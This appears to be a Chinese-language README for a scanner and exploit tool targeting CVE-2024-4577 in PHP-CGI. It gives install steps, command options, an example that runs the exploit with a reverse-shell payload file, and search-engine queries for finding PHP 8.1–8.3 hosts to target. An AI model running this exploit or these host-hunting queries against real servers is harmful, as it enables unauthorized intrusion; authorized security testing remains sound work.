
CVE-2024-4577 是一个影响使用通用网关接口(CGI)的 PHP 应用程序的严重漏洞。该工具兼具扫描器与漏洞利用功能,使网络安全专业人员能够:
# Clone the repository
git clone https://github.com/your-username/CVE-2024-4577-scanner.git
# Navigate to the project directory
cd CVE-2024-4577-scanner
# Install required dependencies
pip install -r requirements.txt
请确保系统中已安装 Python 3。使用以下命令结构:
python3 CVE-2024-4577.py [-h] -t TARGET_FILE [-s] [-e] [-p PAYLOAD_FILE]
-h, --help:显示帮助信息并退出-t TARGET_FILE, --target-file TARGET_FILE:包含目标 URL 的文件(必填)-s, --scan:仅执行漏洞扫描-e, --exploit:尝试利用漏洞-p PAYLOAD_FILE, --payload-file PAYLOAD_FILE:用于漏洞利用的 PHP payload 文件python3 CVE-2024-4577.py -t targetsite.txt -e -p rev_shell.php
利用强大的搜索引擎来识别潜在易受攻击的主机:
搜索运行 PHP 8.1、8.2 和 8.3 版本的服务器:
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3, html:"phpinfo"
protocol="http" && (header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3")
本工具仅用于经授权的安全测试和研究目的。在扫描或尝试利用任何非您所有或无权限测试的系统之前,请确保您已获得明确许可。
如果您遇到任何问题或有疑问,请在 GitHub 问题追踪器中提交 issue。